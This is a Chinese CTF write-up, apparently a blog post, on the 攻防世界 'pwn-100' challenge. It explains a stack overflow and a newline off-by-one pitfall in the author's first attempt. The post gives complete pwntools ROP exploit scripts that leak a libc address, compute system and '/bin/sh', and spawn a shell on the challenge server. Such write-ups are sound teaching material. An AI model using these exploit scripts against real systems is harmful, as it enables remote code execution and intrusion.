[攻防世界 pwn]——pwn-100

[攻防世界 pwn]——pwn-100

checksec一下
在这里插入图片描述

IDA中
在这里插入图片描述
在这里插入图片描述
sub_40063D函数的作用就是读入200个字符, 不然不退出循环

在这里插入图片描述

思路

leek出来一个地址, 然后找到libc, 计算偏移找到system 和 ‘/bin/sh’ 循环调用, 得到shell

from pwn import *
from LibcSearcher import *
#p = process("./pwn")
p = remote("111.200.241.244",47030)
elf = ELF('./pwn') 
#gdb.attach(p, "b *0x00000000004006B6") 
#context.log_level = 'debug'
read_got = elf.got['read']  
puts_plt = elf.plt['puts']
main_addr = 0x00000000004006B8
pop_rdi = 0x0000000000400763
ret = 0x00000000004004e1payload = 'a' * (0x40 + 0x8) + p64(pop_rdi)  + p64(read_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'a')
p.sendline(payload)     #		<-----
p.recvline()

read_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(read_addr)
libc = LibcSearcher('read',read_addr)  
libc_base = read_addr - libc.dump('read')  
system_addr = libc_base + libc.dump('system')  
binsh = libc_base + libc.dump('str_bin_sh')  
  
payload = 'a' *(0x40 + 0x8) + p64(pop_rdi) + p64(binsh) + p64(system_addr) 
payload = payload.ljust(200, 'a')
p.sendline(payload)  
p.interactive()  

发现不可以, 思前想后,仔细检查发现也不行, 无奈求救大佬。
注意上面箭头的位置, 问题就出现在这里。我们之前已经输入了200个字符, sendline后面会补上\n。也就是说我们会剩下一个\n。会在接下来的读取中读取。也就是我们下面的payload都错位了。

嘤嘤嘤, 不过gets和scanf函数是需要’\n’, 作为终止符的。

exploit

from pwn import *
from LibcSearcher import *
#p = process("./pwn")
p = remote("111.200.241.244",47030)
elf = ELF('./pwn') 
#gdb.attach(p, "b *0x00000000004006B6") 
#context.log_level = 'debug'
read_got = elf.got['read']  
puts_plt = elf.plt['puts']
main_addr = 0x00000000004006B8
pop_rdi = 0x0000000000400763

payload = 'a' * (0x40 + 0x8) + p64(pop_rdi)  + p64(read_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'a')
p.send(payload)
p.recvline()

read_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(read_addr)
libc = LibcSearcher('read',read_addr)  
libc_base = read_addr - libc.dump('read')  
system_addr = libc_base + libc.dump('system')  
binsh = libc_base + libc.dump('str_bin_sh')  
  
payload = 'a' *(0x40 + 0x8) + p64(pop_rdi) + p64(binsh) + p64(system_addr) 
payload = payload.ljust(200, 'a')
p.sendline(payload)  
p.interactive()  
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值